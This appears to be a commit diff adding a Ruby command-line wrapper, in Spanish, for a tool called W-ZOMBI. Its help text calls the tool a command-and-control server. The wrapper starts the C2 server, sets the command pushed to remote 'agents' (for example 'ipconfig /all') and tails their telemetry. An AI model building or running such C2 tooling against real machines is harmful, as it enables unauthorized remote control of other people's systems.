[P2604] Fase 15: Optimización IA e integración de herramienta candados. Sincronización de bitácoras y actualización de planes de proyecto.
This commit is contained in:
@@ -0,0 +1,97 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
require 'optparse'
|
||||
require 'json'
|
||||
require_relative '../core/colores'
|
||||
require_relative '../w-zombi/lib/wzombi/config'
|
||||
require_relative '../w-zombi/lib/wzombi/server'
|
||||
require_relative '../w-zombi/lib/wzombi/command_store'
|
||||
|
||||
module ADN
|
||||
class SubcomandoWZombi
|
||||
def initialize(args, logger)
|
||||
@args = args
|
||||
@logger = logger
|
||||
@base_path = File.expand_path('../w-zombi', __dir__)
|
||||
@config = WZombi::Config.new(base_path: @base_path)
|
||||
end
|
||||
|
||||
def ejecutar
|
||||
if @args.empty?
|
||||
ayuda
|
||||
return
|
||||
end
|
||||
|
||||
accion = @args[0]
|
||||
case accion
|
||||
when 'start'
|
||||
iniciar_servidor
|
||||
when 'cmd'
|
||||
actualizar_comando(@args[1])
|
||||
when 'log'
|
||||
ver_logs
|
||||
when 'ayuda', '-h', '--help'
|
||||
ayuda
|
||||
else
|
||||
@logger.error("Acción desconocida: #{accion}")
|
||||
ayuda
|
||||
exit 1
|
||||
end
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def iniciar_servidor
|
||||
@logger.info("Iniciando servidor W-ZOMBI v2.0")
|
||||
begin
|
||||
WZombi::Server.new(@config).start
|
||||
rescue Errno::EADDRINUSE
|
||||
@logger.error("El puerto #{@config.puerto} ya está en uso.")
|
||||
exit 1
|
||||
rescue => e
|
||||
@logger.error("Error al iniciar el servidor: #{e.message}")
|
||||
exit 1
|
||||
end
|
||||
end
|
||||
|
||||
def actualizar_comando(comando)
|
||||
if comando.nil? || comando.empty?
|
||||
@logger.error("Debe especificar un comando. Uso: wzombi cmd \"comando\"")
|
||||
exit 1
|
||||
end
|
||||
store = WZombi::CommandStore.new(@config.cmd_path)
|
||||
store.update(comando)
|
||||
@logger.exito("Comando actualizado: #{comando}")
|
||||
end
|
||||
|
||||
def ver_logs
|
||||
log_path = @config.log_path
|
||||
unless File.exist?(log_path)
|
||||
@logger.advertencia("No hay logs disponibles en #{log_path}")
|
||||
return
|
||||
end
|
||||
puts "#{Color::CYAN}🛰️ Telemetría W-ZOMBI (tail -f)#{Color::RESET}"
|
||||
# Usamos exec para ceder el control al proceso tail si el usuario lo desea,
|
||||
# o system para volver después.
|
||||
system("tail -f #{log_path}")
|
||||
end
|
||||
|
||||
def ayuda
|
||||
puts <<~HELP
|
||||
#{Color::CYAN}🧟 Herramienta W-ZOMBI v2.0#{Color::RESET}
|
||||
|
||||
Uso: ./adn/tools/run wzombi <acción> [argumentos]
|
||||
|
||||
Acciones:
|
||||
start Levanta el servidor C2 (WEBrick)
|
||||
cmd "<comando>" Actualiza el comando para los agentes
|
||||
log Muestra la telemetría en tiempo real (tail -f)
|
||||
ayuda Muestra esta ayuda
|
||||
|
||||
Ejemplos:
|
||||
./adn/tools/run wzombi cmd "ipconfig /all"
|
||||
./adn/tools/run wzombi start
|
||||
HELP
|
||||
end
|
||||
end
|
||||
end
|
||||
Reference in New Issue
Block a user